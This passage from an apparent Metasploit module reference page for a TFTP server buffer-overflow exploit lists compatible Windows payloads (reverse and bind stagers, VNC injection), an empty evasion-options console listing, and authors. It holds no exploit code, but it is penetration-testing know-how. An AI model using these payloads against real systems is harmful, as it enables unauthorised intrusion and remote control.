   148  payload/windows/upexec/bind_tcp_rc4                                          normal  No     Windows Upload/Execute, Bind TCP Stager (RC4 Stage Encryption, Metasm)
   149  payload/windows/upexec/bind_tcp_uuid                                         normal  No     Windows Upload/Execute, Bind TCP Stager with UUID Support (Windows x86)
   150  payload/windows/upexec/reverse_ipv6_tcp                                      normal  No     Windows Upload/Execute, Reverse TCP Stager (IPv6)
   151  payload/windows/upexec/reverse_nonx_tcp                                      normal  No     Windows Upload/Execute, Reverse TCP Stager (No NX or Win7)
   152  payload/windows/upexec/reverse_ord_tcp                                       normal  No     Windows Upload/Execute, Reverse Ordinal TCP Stager (No NX or Win7)
   153  payload/windows/upexec/reverse_tcp                                           normal  No     Windows Upload/Execute, Reverse TCP Stager
   154  payload/windows/upexec/reverse_tcp_allports                                  normal  No     Windows Upload/Execute, Reverse All-Port TCP Stager
   155  payload/windows/upexec/reverse_tcp_dns                                       normal  No     Windows Upload/Execute, Reverse TCP Stager (DNS)
   156  payload/windows/upexec/reverse_tcp_rc4                                       normal  No     Windows Upload/Execute, Reverse TCP Stager (RC4 Stage Encryption, Metasm)
   157  payload/windows/upexec/reverse_tcp_rc4_dns                                   normal  No     Windows Upload/Execute, Reverse TCP Stager (RC4 Stage Encryption DNS, Metasm)
   158  payload/windows/upexec/reverse_tcp_uuid                                      normal  No     Windows Upload/Execute, Reverse TCP Stager with UUID Support
   159  payload/windows/upexec/reverse_udp                                           normal  No     Windows Upload/Execute, Reverse UDP Stager with UUID Support
   160  payload/windows/vncinject/bind_hidden_ipknock_tcp                            normal  No     VNC Server (Reflective Injection), Hidden Bind Ipknock TCP Stager
   161  payload/windows/vncinject/bind_hidden_tcp                                    normal  No     VNC Server (Reflective Injection), Hidden Bind TCP Stager
   162  payload/windows/vncinject/bind_ipv6_tcp                                      normal  No     VNC Server (Reflective Injection), Bind IPv6 TCP Stager (Windows x86)
   163  payload/windows/vncinject/bind_ipv6_tcp_uuid                                 normal  No     VNC Server (Reflective Injection), Bind IPv6 TCP Stager with UUID Support (Windows x86)
   164  payload/windows/vncinject/bind_named_pipe                                    normal  No     VNC Server (Reflective Injection), Windows x86 Bind Named Pipe Stager
   165  payload/windows/vncinject/bind_nonx_tcp                                      normal  No     VNC Server (Reflective Injection), Bind TCP Stager (No NX or Win7)
   166  payload/windows/vncinject/bind_tcp                                           normal  No     VNC Server (Reflective Injection), Bind TCP Stager (Windows x86)
   167  payload/windows/vncinject/bind_tcp_rc4                                       normal  No     VNC Server (Reflective Injection), Bind TCP Stager (RC4 Stage Encryption, Metasm)
   168  payload/windows/vncinject/bind_tcp_uuid                                      normal  No     VNC Server (Reflective Injection), Bind TCP Stager with UUID Support (Windows x86)
   169  payload/windows/vncinject/reverse_hop_http                                   normal  No     VNC Server (Reflective Injection), Reverse Hop HTTP/HTTPS Stager
   170  payload/windows/vncinject/reverse_http                                       normal  No     VNC Server (Reflective Injection), Windows Reverse HTTP Stager (wininet)
   171  payload/windows/vncinject/reverse_ipv6_tcp                                   normal  No     VNC Server (Reflective Injection), Reverse TCP Stager (IPv6)
   172  payload/windows/vncinject/reverse_nonx_tcp                                   normal  No     VNC Server (Reflective Injection), Reverse TCP Stager (No NX or Win7)
   173  payload/windows/vncinject/reverse_ord_tcp                                    normal  No     VNC Server (Reflective Injection), Reverse Ordinal TCP Stager (No NX or Win7)
   174  payload/windows/vncinject/reverse_tcp                                        normal  No     VNC Server (Reflective Injection), Reverse TCP Stager
   175  payload/windows/vncinject/reverse_tcp_allports                               normal  No     VNC Server (Reflective Injection), Reverse All-Port TCP Stager
   176  payload/windows/vncinject/reverse_tcp_dns                                    normal  No     VNC Server (Reflective Injection), Reverse TCP Stager (DNS)
   177  payload/windows/vncinject/reverse_tcp_rc4                                    normal  No     VNC Server (Reflective Injection), Reverse TCP Stager (RC4 Stage Encryption, Metasm)
   178  payload/windows/vncinject/reverse_tcp_rc4_dns                                normal  No     VNC Server (Reflective Injection), Reverse TCP Stager (RC4 Stage Encryption DNS, Metasm)
   179  payload/windows/vncinject/reverse_tcp_uuid                                   normal  No     VNC Server (Reflective Injection), Reverse TCP Stager with UUID Support
   180  payload/windows/vncinject/reverse_winhttp                                    normal  No     VNC Server (Reflective Injection), Windows Reverse HTTP Stager (winhttp)

Evasion Options


Here is the full list of possible evasion options supported by the windows/tftp/tftpserver_wrq_bof exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 exploit(windows/tftp/tftpserver_wrq_bof) > show evasion

Module evasion options:

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------

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References


See Also


Check also the following modules related to this module:

Authors


  • Mati Aharoni
  • Datacut

Version


This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.

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